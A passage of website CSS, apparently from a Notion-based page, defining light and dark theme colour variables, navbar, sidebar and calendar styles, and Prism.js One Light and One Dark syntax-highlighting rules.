872\n      --color-bg-green: hsl(\n        var(--green-h),\n        var(--green-s),\n        90%\n      );\n      --color-bg-green-light: var(--color-bg-green);\n      --color-pill-green: hsl(\n        calc(var(--green-h) - 28),\n        calc(var(--green-s) + 3%),\n        89%\n      );\n      --color-pill-text-green: hsl(\n        calc(var(--green-h) - 2),\n        var(--green-s),\n        calc(var(--green-l) - 22%)\n      );\n      --color-bg-form-btn-green: #448361;\n\n      /* Blue */\n      --blue-h: 202;\n      --blue-s: 53%;\n      --blue-l: 43%;\n      --color-blue: hsl(var(--blue-h), var(--blue-s), var(--blue-l));\n      --color-text-blue: var(--color-blue);\n      --color-bg-blue: hsl(\n        var(--blue-h),\n        var(--blue-s),\n        90%\n      );\n      --color-bg-blue-light: var(--color-bg-blue);\n      --color-pill-blue: hsl(\n        var(--blue-h),\n        calc(var(--blue-s) - 5%),\n        85%\n      );\n      --color-pill-text-blue: hsl(\n        calc(var(--blue-h) + 7),\n        calc(var(--blue-s) - 6%),\n        calc(var(--blue-l) - 22%)\n      );\n      --color-bg-form-btn-blue: #327DA9;\n\n      /* Purple */\n      --purple-h: 274;\n      --purple-s: 32%;\n      --purple-l: 54%;\n      --color-purple: hsl(\n        var(--purple-h),\n        var(--purple-s),\n        var(--purple-l)\n      );\n      --color-text-purple: var(--color-purple);\n      --color-bg-purple: hsl(\n        var(--purple-h),\n        var(--purple-s),\n        90%\n      );\n      --color-bg-purple-light: var(--color-bg-purple);\n      --color-pill-purple: hsl(\n        var(--purple-h),\n        calc(var(--purple-s) + 5%),\n        90%\n      );\n      --color-pill-text-purple: hsl(\n        calc(var(--purple-h) + 1),\n        calc(var(--purple-s) + 10%),\n        calc(var(--purple-l) - 31%)\n      );\n      --color-bg-form-btn-purple: #8F64AF;\n\n      /* Pink */\n      --pink-h: 328;\n      --pink-s: 48%;\n      --pink-l: 53%;\n      --color-pink: hsl(var(--pink-h), var(--pink-s), var(--pink-l));\n      --color-text-pink: var(--color-pink);\n      --color-bg-pink: hsl(\n        var(--pink-h),\n        var(--pink-s),\n        90%\n      );\n      --color-bg-pink-light: var(--color-bg-pink);\n      --color-pill-pink: hsl(\n        var(--pink-h),\n        var(--pink-s),\n        90%\n      );\n      --color-pill-text-pink: hsl(\n        calc(var(--pink-h) + 3),\n        calc(var(--pink-s) - 14%),\n        calc(var(--pink-l) - 31%)\n      );\n      --color-bg-form-btn-pink: #C24C8B;\n\n      /* Red */\n      --red-h: 2;\n      --red-s: 62%;\n      --red-l: 55%;\n      --color-red: hsl(var(--red-h), var(--red-s), var(--red-l));\n      --color-text-red: var(--color-red);\n      --color-bg-red: hsl(\n        var(--red-h),\n        var(--red-s),\n        90%\n      );\n      --color-bg-red-light: var(--color-bg-red);\n      --color-pill-red: hsl(\n        calc(var(--red-h) + 6),\n        calc(var(--red-s) + 42%),\n        90%\n      );\n      --color-pill-text-red: hsl(\n        calc(var(--red-h) + 0),\n        var(--red-s),\n        calc(var(--red-l) - 32%)\n      );\n      --color-bg-form-btn-red: #D44E49;\n\n      /*Default*/\n      --default-h: 45;\n      --default-s: 8%;\n      --default-l: 20%;\n      --color-default: hsl(\n        var(--default-h),\n        var(--default-s),\n        var(--default-l)\n      );\n      --color-pill-default: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        90%\n      );\n      --color-pill-text-default: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        calc(var(--gray-l) - 28%)\n      );\n      --color-bg-form-btn-default: #55534E;\n\n      /*Other*/\n      --color-text-default: #37352F;\n      --color-text-default-light: #7d7c78;\n      --color-bg-default: #ffffff;\n      --color-border-default: #E9E9E7;\n      --color-border-dark: var(--color-border-default);\n      --color-ui-hover-bg: #efefef;\n      --color-card-bg: #ffffff;\n      --color-card-bg-hover: #f9f9f8;\n      --color-calendar-weekend-bg: #f7f6f3;\n      --color-checkbox-bg: #2EAADC;\n      --color-code-bg: rgba(135,131,120,.15);\n\n      /*Scrollbar*/\n      --scrollbar-background-color: #FAFAFA;\n      --scrollbar-thumb-color: #C1C1C1;\n      --scrollbar-border-color: #E8E8E8;\n\n      /*Navbar*/\n      --navbar-text-color: #37352F;\n      --navbar-list-item-hover: rgba(130, 130, 130, 0.09);
872\n      --navbar-background-color-hover: #f0f0f0;\n      --navbar-background-color: #ffffff;\n      --navbar-button-text-color: #ffffff;\n      --navbar-button-background-color: #37352F;\n      --navbar-menu-background-color: var(--navbar-background-color);\n      --navbar-text-color-dark: #282620;\n\n      /*Footer*/\n      --footer-text-color: #37352F;\n      --footer-background-color: #ffffff;\n\n      /*Sidebar*/\n      --sidebar-text-color: #37352F;\n      --sidebar-cta-text-color: #37352F;\n      --sidebar-background-color: #ffffff;\n      --sidebar-cta-background-color: #ffffff;\n      --sidebar-border-color: #E9E9E7;\n      --sidebar-background-color-hover: #efefef;\n      --sidebar-text-color-dark: #282620;\n      --sidebar-cta-background-color-hover: #efefef;\n    }\n\n    \n  /**\n   * One Light theme for prism.js\n   * Based on Atom's One Light theme: https://github.com/atom/atom/tree/master/packages/one-light-syntax\n   */\n  \n  /**\n   * One Light colours (accurate as of commit eb064bf on 19 Feb 2021)\n   * From colors.less\n   * --mono-1: hsl(230, 8%, 24%);\n   * --mono-2: hsl(230, 6%, 44%);\n   * --mono-3: hsl(230, 4%, 64%)\n   * --hue-1: hsl(198, 99%, 37%);\n   * --hue-2: hsl(221, 87%, 60%);\n   * --hue-3: hsl(301, 63%, 40%);\n   * --hue-4: hsl(119, 34%, 47%);\n   * --hue-5: hsl(5, 74%, 59%);\n   * --hue-5-2: hsl(344, 84%, 43%);\n   * --hue-6: hsl(35, 99%, 36%);\n   * --hue-6-2: hsl(35, 99%, 40%);\n   * --syntax-fg: hsl(230, 8%, 24%);\n   * --syntax-bg: hsl(230, 1%, 98%);\n   * --syntax-gutter: hsl(230, 1%, 62%);\n   * --syntax-guide: hsla(230, 8%, 24%, 0.2);\n   * --syntax-accent: hsl(230, 100%, 66%);\n   * From syntax-variables.less\n   * --syntax-selection-color: hsl(230, 1%, 90%);\n   * --syntax-gutter-background-color-selected: hsl(230, 1%, 90%);\n   * --syntax-cursor-line: hsla(230, 8%, 24%, 0.05);\n   */\n  \n  html.theme-light code[class*=\"language-\"],\n  html.theme-light pre[class*=\"language-\"] {\n    color: hsl(230, 8%, 24%);\n    font-family: \"Fira Code\", \"Fira Mono\", Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n    direction: ltr;\n    text-align: left;\n    white-space: pre;\n    word-spacing: normal;\n    word-break: normal;\n    line-height: 1.5;\n    -moz-tab-size: 2;\n    -o-tab-size: 2;\n    tab-size: 2;\n    -webkit-hyphens: none;\n    -moz-hyphens: none;\n    -ms-hyphens: none;\n    hyphens: none;\n  }\n  \n  /* Selection */\n  html.theme-light code[class*=\"language-\"]::-moz-selection,\n  html.theme-light code[class*=\"language-\"] *::-moz-selection,\n  html.theme-light pre[class*=\"language-\"] *::-moz-selection {\n    background: hsl(230, 1%, 90%);\n    color: inherit;\n  }\n  \n  html.theme-light code[class*=\"language-\"]::selection,\n  html.theme-light code[class*=\"language-\"] *::selection,\n  html.theme-light pre[class*=\"language-\"] *::selection {\n    background: hsl(230, 1%, 90%);\n    color: inherit;\n  }\n  \n  /* Code blocks */\n  html.theme-light pre[class*=\"language-\"] {\n    padding: 1em;\n    margin: 0.5em 0;\n    overflow: auto;\n    border-radius: 0.3em;\n  }\n  \n  /* Inline code */\n  html.theme-light :not(pre) \u003e code[class*=\"language-\"] {\n    padding: 0.2em 0.3em;\n    border-radius: 0.3em;\n    white-space: normal;\n  }\n  \n  html.theme-light .token.comment,\n  html.theme-light .token.prolog,\n  html.theme-light .token.cdata {\n    color: hsl(230, 4%, 64%);\n  }\n  \n  html.theme-light .token.doctype,\n  html.theme-light .token.punctuation,\n  html.theme-light .token.entity {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .token.attr-name,\n  html.theme-light .token.class-name,\n  html.theme-light .token.boolean,\n  html.theme-light .token.constant,\n  html.theme-light .token.number,\n  html.theme-light .token.atrule {\n    color: hsl(35, 99%, 36%);\n  }\n  \n  html.theme-light .token.keyword {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  html.theme-light .token.property,\n  html.theme-light .token.tag,\n  html.theme-light .token.symbol,\n  html.theme-light .token.deleted,\n  html.theme-light .token.important {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  html.theme-light .token.selector,\n  html.theme-light .token.string,\n  html.theme-light .token.char,\n  html.theme-light .token.builtin,\n  html.theme-light .token.inserted,\n  html.theme-light .token.regex,\n  html.theme-light .token.attr-value,\n  html.theme-light .token.attr-value \u003e .token.punctuation {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .token.variable,\n  html.theme-light .token.operator,\n  html.theme-light .token.function {\n    color: hsl(221, 87%, 60%);\n  }\n  \n  html.theme-light .token.url {\n    color: hsl(198, 99%, 37%);\n  }\n  \n  /* HTML overrides */\n  html.theme-light .token.attr-value \u003e .token.punctuation.attr-equals,\n  html.theme-light .token.special-attr \u003e .token.attr-value \u003e .token.value.css {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  /* CSS overrides */\n  html.theme-light .language-css .token.selector {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  html.theme-light .language-css .token.property {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .language-css .token.function,\n  html.theme-light .language-css .token.url \u003e .token.function {\n    color: hsl(198, 99%, 37%);\n  }\n  \n  html.theme-light .language-css .token.url \u003e .token.string.url {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .language-css .token.important,\n  html.theme-light .language-css .token.atrule .token.rule {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  /* JS overrides */\n  html.theme-light .language-javascript .token.operator {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  html.theme-light .language-javascript .token.template-string \u003e .token.interpolation \u003e .token.interpolation-punctuation.punctuation {\n    color: hsl(344, 84%, 43%);\n  }\n  \n  /* JSON overrides */\n  html.theme-light .language-json .token.operator {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .language-json .token.null.keyword {\n    color: hsl(35, 99%, 36%);\n  }\n  \n  /* MD overrides */\n  html.theme-light .language-markdown .token.url,\n  html.theme-light .language-markdown .token.url \u003e .token.operator,\n  html.theme-light .language-markdown .token.url-reference.url \u003e .token.string {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .language-markdown .token.url \u003e .token.content {\n    color: hsl(221, 87%, 60%);\n  }\n  \n  html.theme-light .language-markdown .token.url \u003e .token.url,\n  html.theme-light .language-markdown .token.url-reference.url {\n    color: hsl(198, 99%, 37%);\n  }\n  \n  html.theme-light .language-markdown .token.blockquote.punctuation,\n  html.theme-light .language-markdown .token.hr.punctuation {\n    color: hsl(230, 4%, 64%);\n    font-style: italic;\n  }\n  \n  html.theme-light .language-markdown .token.code-snippet {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .language-markdown .token.bold .token.content {\n    color: hsl(35, 99%, 36%);\n  }\n  \n  html.theme-light .language-markdown .token.italic .token.content {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  html.theme-light .language-markdown .token.strike .token.content,\n  html.theme-light .language-markdown .token.strike .token.punctuation,\n  html.theme-light .language-markdown .token.list.punctuation,\n  html.theme-light .language-markdown .token.title.important \u003e .token.punctuation {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  /* General */\n  html.theme-light .token.bold {\n    font-weight: bold;\n  }\n  \n  html.theme-light .token.comment,\n  html.theme-light .token.italic {\n    font-style: italic;\n  }\n  \n  html.theme-light .token.entity {\n    cursor: help;\n  }\n  \n  html.theme-light .token.namespace {\n    opacity: 0.8;\n  }\n  \n  /* Plugin overrides */\n  /* Selectors should have higher specificity than those in the plugins' default stylesheets */\n  \n  /* Show Invisibles plugin overrides */\n  html.theme-light .token.token.tab:not(:empty):before,\n  html.theme-light .token.token.cr:before,\n  html.theme-light .token.token.lf:before,\n  html.theme-light .token.token.space:before {\n    color: hsla(230, 8%, 24%, 0.2);\n  }\n  \n  /* Toolbar plugin overrides */\n  /* Space out all buttons and move them away from the right edge of the code block */\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item {\n    margin-right: 0.4em;\n  }\n  \n  /* Styling the buttons */\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span {\n    background: hsl(230, 1%, 90%);\n    color: hsl(230, 6%, 44%);\n    padding: 0.1em 0.4em;\n    border-radius: 0.3em;\n  }\n  \n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:hover,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:focus,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:hover,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:focus,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:hover,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:focus {\n    background: hsl(230, 1%, 78%); /* custom: darken(--syntax-bg, 20%) */\n    color: hsl(230, 8%, 24%);\n  }\n  \n  /* Line Highlight plugin overrides */\n  /* The highlighted line itself */\n  html.theme-light .line-highlight.line-highlight {\n    background: hsla(230, 8%, 24%, 0.05);\n  }\n  \n  /* Default line numbers in Line Highlight plugin */\n  html.theme-light .line-highlight.line-highlight:before,\n  html.theme-light .line-highlight.line-highlight[data-end]:after {\n    background: hsl(230, 1%, 90%);\n    color: hsl(230, 8%, 24%);\n    padding: 0.1em 0.6em;\n    border-radius: 0.3em;\n    box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */\n  }\n  \n  /* Hovering over a linkable line number (in the gutter area) */\n  /* Requires Line Numbers plugin as well */\n  html.theme-light pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows \u003e span:hover:before {\n    background-color: hsla(230, 8%, 24%, 0.05);\n  }\n  \n  /* Line Numbers and Command Line plugins overrides */\n  /* Line separating gutter from coding area */\n  html.theme-light .line-numbers.line-numbers .line-numbers-rows,\n  html.theme-light .command-line .command-line-prompt {\n    border-right-color: hsla(230, 8%, 24%, 0.2);\n  }\n  \n  /* Stuff in the gutter */\n  html.theme-light .line-numbers .line-numbers-rows \u003e span:before,\n  html.theme-light .command-line .command-line-prompt \u003e span:before {\n    color: hsl(230, 1%, 62%);\n  }\n  \n  /* Match Braces plugin overrides */\n  /* Note: Outline colour is inherited from the braces */\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-1,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-5,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-9 {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-2,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-6,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-10 {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-3,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-7,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-11 {\n    color: hsl(221, 87%, 60%);\n  }\n  \n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-4,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-8,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-12 {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  /* Diff Highlight plugin overrides */\n  /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */\n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix),\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) {\n    background-color: hsla(353, 100%, 66%, 0.15);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::-moz-selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection {\n    background-color: hsla(353, 95%, 66%, 0.25);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::selection {\n    background-color: hsla(353, 95%, 66%, 0.25);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix),\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) {\n    background-color: hsla(137, 100%, 55%, 0.15);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::-moz-selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {\n    background-color: hsla(135, 73%, 55%, 0.25);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::selection {\n    background-color: hsla(135, 73%, 55%, 0.25);\n  }\n  \n  /* Previewers plugin overrides */\n  /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-light-ui */\n  /* Border around popup */\n  html.theme-light .prism-previewer.prism-previewer:before,\n  html.theme-light .prism-previewer-gradient.prism-previewer-gradient div {\n    border-color: hsl(0, 0, 95%);\n  }\n  \n  /* Angle and time should remain as circles and are hence not included */\n  html.theme-light .prism-previewer-color.prism-previewer-color:before,\n  html.theme-light .prism-previewer-gradient.prism-previewer-gradient div,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing:before {\n    border-radius: 0.3em;\n  }\n  \n  /* Triangles pointing to the code */\n  html.theme-light .prism-previewer.prism-previewer:after {\n    border-top-color: hsl(0, 0, 95%);\n  }\n  \n  html.theme-light .prism-previewer-flipped.prism-previewer-flipped.after {\n    border-bottom-color: hsl(0, 0, 95%);\n  }
872\n  \n  /* Background colour within the popup */\n  html.theme-light .prism-previewer-angle.prism-previewer-angle:before,\n  html.theme-light .prism-previewer-time.prism-previewer-time:before,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing {\n    background: hsl(0, 0%, 100%);\n  }\n  \n  /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */\n  /* For time, this is the alternate colour */\n  html.theme-light .prism-previewer-angle.prism-previewer-angle circle,\n  html.theme-light .prism-previewer-time.prism-previewer-time circle {\n    stroke: hsl(230, 8%, 24%);\n    stroke-opacity: 1;\n  }\n  \n  /* Stroke colours of the handle, direction point, and vector itself */\n  html.theme-light .prism-previewer-easing.prism-previewer-easing circle,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing path,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing line {\n    stroke: hsl(230, 8%, 24%);\n  }\n  \n  /* Fill colour of the handle */\n  html.theme-light .prism-previewer-easing.prism-previewer-easing circle {\n    fill: transparent;\n  }\n  \n  1d:T5f9c,\n    html.theme-dark {\n      /* Gray */\n      --gray-h: 0;\n      --gray-s: 0%;\n      --gray-l: 61%;\n      --color-gray: hsl(var(--gray-h), var(--gray-s), var(--gray-l));\n      --color-text-gray: var(--color-gray);\n      --color-bg-gray: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        14.5%\n      );\n      --color-bg-gray-light: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        14.5%\n      );\n      --color-pill-gray: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        35%\n      );\n      --color-pill-text-gray: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        calc(var(--gray-l) + 26%)\n      );\n      --color-bg-form-btn-gray: #A7A39A;\n\n      /* Brown */\n      --brown-h: 18;\n      --brown-s: 35%;\n      --brown-l: 58%;\n      --color-brown: hsl(var(--brown-h), var(--brown-s), var(--brown-l));\n      --color-text-brown: var(--color-brown);\n      --color-bg-brown: hsl(\n        var(--brown-h),\n        calc(var(--brown-s) - 7%),\n        22%\n      );\n      --color-bg-brown-light: hsl(\n        calc(var(--brown-h) - 2),\n        calc(var(--brown-s) - 22%),\n        16%\n      );\n      --color-pill-brown: hsl(\n        var(--brown-h),\n        calc(var(--brown-s) + 2%),\n        27%\n      );\n      --color-pill-text-brown: hsl(\n        var(--brown-h),\n        calc(var(--brown-s) - 21%),\n        calc(var(--brown-l) + 33%)\n      );\n      --color-bg-form-btn-brown: #9A6851;\n\n      /* Orange */\n      --orange-h: 25;\n      --orange-s: 54%;\n      --orange-l: 53%;\n      --color-orange: hsl(\n        var(--orange-h),\n        var(--orange-s),\n        var(--orange-l)\n      );\n      --color-text-orange: var(--color-orange);\n      --color-bg-orange: hsl(\n        var(--orange-h),\n        calc(var(--orange-s) - 10%),\n        25%\n      );\n      --color-bg-orange-light: hsl(\n        var(--orange-h),\n        calc(var(--orange-s) - 30%),\n        17%\n      );\n      --color-pill-orange: hsl(\n        var(--orange-h),\n        calc(var(--orange-s) + 9%),\n        32%\n      );\n      --color-pill-text-orange: hsl(\n        var(--orange-h),\n        calc(var(--orange-s) - 23%),\n        calc(var(--orange-l) + 33%)\n      );\n      --color-bg-form-btn-orange: #D9730D;\n\n      /* Yellow */\n      --yellow-h: 38;\n      --yellow-s: 54%;\n      --yellow-l: 54%;\n      --color-yellow: hsl(\n        var(--yellow-h),\n        var(--yellow-s),\n        var(--yellow-l)\n      );\n      --color-text-yellow: var(--color-yellow);\n      --color-bg-yellow: hsl(\n        var(--yellow-h),\n        calc(var(--yellow-s) - 18%),\n        25%\n      );\n      --color-bg-yellow-light: hsl(\n        var(--yellow-h),\n        calc(var(--yellow-s) - 24%),\n        17%\n      );\n      --color-pill-yellow: hsl(\n        calc(var(--yellow-h) - 1),\n        calc(var(--yellow-s) + 2%),\n        35%\n      );\n      --color-pill-text-yellow: hsl(\n        var(--yellow-h),\n        calc(var(--yellow-s) - 28%),\n        calc(var(--yellow-l) + 33%)\n      );\n      --color-bg-form-btn-yellow: #CA922F;\n\n      /* Green */\n      --green-h: 146;\n      --green-s: 32%;\n      --green-l: 47%;\n      --color-green: hsl(var(--green-h), var(--green-s), var(--green-l));\n      --color-text-green: var(--color-green);\n      --color-bg-green: hsl(\n        calc(var(--green-h) + 3),\n        calc(var(--green-s) - 6%),\n        19%\n      );
872\n      --color-bg-green-light: hsl(\n        var(--green-h),\n        calc(var(--green-s) - 20%),\n        15%\n      );\n      --color-pill-green: hsl(\n        calc(var(--green-h) + 1),\n        calc(var(--green-s) + 3%),\n        26%\n      );\n      --color-pill-text-green: hsl(\n        var(--green-h),\n        calc(var(--green-s) - 20%),\n        calc(var(--green-l) + 38%)\n      );\n      --color-bg-form-btn-green: #448361;\n\n      /* Blue */\n      --blue-h: 217;\n      --blue-s: 50%;\n      --blue-l: 58%;\n      --color-blue: hsl(var(--blue-h), var(--blue-s), var(--blue-l));\n      --color-text-blue: var(--color-blue);\n      --color-bg-blue: hsl(\n        calc(var(--blue-h) - 16),\n        calc(var(--blue-s) + 9%),\n        19%\n      );\n      --color-bg-blue-light: hsl(\n        calc(var(--blue-h) + 16),\n        calc(var(--blue-s) - 27%),\n        15%\n      );\n      --color-pill-blue: hsl(\n        calc(var(--blue-h) - 3),\n        calc(var(--blue-s) - 6%),\n        29%\n      );\n      --color-pill-text-blue: hsl(\n        calc(var(--blue-h) - 5),\n        calc(var(--blue-s) - 32%),\n        calc(var(--blue-l) + 28%)\n      );\n      --color-bg-form-btn-blue: #327DA9;\n\n      /* Purple */\n      --purple-h: 270;\n      --purple-s: 55%;\n      --purple-l: 62%;\n      --color-purple: hsl(\n        var(--purple-h),\n        var(--purple-s),\n        var(--purple-l)\n      );\n      --color-text-purple: var(--color-purple);\n      --color-bg-purple: hsl(\n        calc(var(--purple-h) + 2),\n        calc(var(--purple-s) - 31%),\n        23%\n      );\n      --color-bg-purple-light: hsl(\n        calc(var(--purple-h) + 5),\n        calc(var(--purple-s) - 40%),\n        17%\n      );\n      --color-pill-purple: hsl(\n        var(--purple-h),\n        calc(var(--purple-s) - 19%),\n        29%\n      );\n      --color-pill-text-purple: hsl(\n        calc(var(--purple-h) - 3),\n        calc(var(--purple-s) - 40%),\n        calc(var(--purple-l) + 24%)\n      );\n      --color-bg-form-btn-purple: #8F64AF;\n\n      /* Pink */\n      --pink-h: 329;\n      --pink-s: 57%;\n      --pink-l: 58%;\n      --color-pink: hsl(var(--pink-h), var(--pink-s), var(--pink-l));\n      --color-text-pink: var(--color-pink);\n      --color-bg-pink: hsl(\n        calc(var(--pink-h) + 3),\n        calc(var(--pink-s) - 29%),\n        24%\n      );\n      --color-bg-pink-light: hsl(\n        calc(var(--pink-h) + 5),\n        calc(var(--pink-s) - 40%),\n        16%\n      );\n      --color-pill-pink: hsl(\n        calc(var(--pink-h) - 2),\n        calc(var(--pink-s) - 21%),\n        30%\n      );\n      --color-pill-text-pink: hsl(\n        calc(var(--pink-h) + 4),\n        calc(var(--pink-s) - 41%),\n        calc(var(--pink-l) + 28%)\n      );\n      --color-bg-form-btn-pink: #C24C8B;\n\n      /* Red */\n      --red-h: 1;\n      --red-s: 69%;\n      --red-l: 60%;\n      --color-red: hsl(var(--red-h), var(--red-s), var(--red-l));\n      --color-text-red: var(--color-red);\n      --color-bg-red: hsl(\n        calc(var(--red-h) + 5),\n        calc(var(--red-s) - 37%),\n        24%\n      );\n      --color-bg-red-light: hsl(\n        calc(var(--red-h) + 5),\n        calc(var(--red-s) - 56%),\n        17%\n      );\n      --color-pill-red: hsl(\n        calc(var(--red-h) + 5),\n        calc(var(--red-s) - 30%),\n        31%\n      );\n      --color-pill-text-red: hsl(\n        calc(var(--red-h) + 7),\n        calc(var(--red-s) - 50%),\n        calc(var(--red-l) + 24%)\n      );\n      --color-bg-form-btn-red: #D44E49;\n\n      /*Default*/\n      --default-h: 45;\n      --default-s: 8%;\n      --default-l: 20%;\n      --color-default: hsl(\n        var(--default-h),\n        var(--default-s),\n        var(--default-l)\n      );\n      --color-pill-default: hsl(\n        var(--default-h),\n        var(--default-s),\n        -19%\n      );\n      --color-pill-text-default: hsl(\n        var(--default-h),\n        var(--default-s),\n        calc(var(--default-l) + 23%)\n      );\n      --color-bg-form-btn-default: #55534E;\n\n      /*Other*/\n      --color-text-default: #e1e1e1;\n      --color-text-default-light: #9b9b9b;\n      --color-bg-default: #191919;\n      --color-border-default: #373737;\n      --color-border-dark: var(--color-border-default);\n      --color-ui-hover-bg: #292929;\n      --color-card-bg: #212121;\n      --color-card-bg-hover: #292929;\n      --color-calendar-weekend-bg: #202020;\n      --color-checkbox-bg: #2EAADC;\n      --color-code-bg: rgba(135,131,120,.15);\n\n      /*Scrollbar*/\n      --scrollbar-background-color: #FAFAFA;\n      --scrollbar-thumb-color: #C1C1C1;\n      --scrollbar-border-color: #E8E8E8;\n\n      /*Navbar*/\n      --navbar-text-color: #e1e1e1;\n      --navbar-list-item-hover: rgba(255,255,255,.2);\n      --navbar-background-color: #191919;\n      --navbar-background-color-hover: #282828;\n      --navbar-button-text-color: #191919;\n      --navbar-button-background-color: #e1e1e1;\n      --navbar-menu-background-color: var(--navbar-background-color);\n      --navbar-text-color-dark: #d2d2d2;
872\n\n      /*Footer*/\n      --footer-text-color: #e1e1e1;\n      --footer-background-color: #191919;\n\n      /*Sidebar*/\n      --sidebar-text-color: #e1e1e1;\n      --sidebar-cta-text-color: #e1e1e1;\n      --sidebar-background-color: #191919;\n      --sidebar-cta-background-color: #191919;\n      --sidebar-border-color: #373737;\n      --sidebar-background-color-hover: #292929;\n      --sidebar-text-color-dark: #d2d2d2;\n      --sidebar-cta-background-color-hover: #292929;\n    }\n\n    /* Calendar for dark mode */\n    html.theme-dark .notion-collection-calendar__row {\n      box-shadow: var(--color-border-default) -1px 0px 0px;\n    }\n\n    html.theme-dark .notion-collection-calendar__week-days {\n      box-shadow: var(--color-border-default) 0px 1px 0px;\n    }\n\n    html.theme-dark .notion-collection-calendar__date {\n      border-right: 1px solid var(--color-border-default);\n      border-bottom: 1px solid var(--color-border-default);\n    }\n\n    \n  /**\n   * One Dark theme for prism.js\n   * Based on Atom's One Dark theme: https://github.com/atom/atom/tree/master/packages/one-dark-syntax\n   */\n\n  /**\n   * One Dark colours (accurate as of commit 8ae45ca on 6 Sep 2018)\n   * From colors.less\n   * --mono-1: hsl(220, 14%, 71%);\n   * --mono-2: hsl(220, 9%, 55%);\n   * --mono-3: hsl(220, 10%, 40%);\n   * --hue-1: hsl(187, 47%, 55%);\n   * --hue-2: hsl(207, 82%, 66%);\n   * --hue-3: hsl(286, 60%, 67%);\n   * --hue-4: hsl(95, 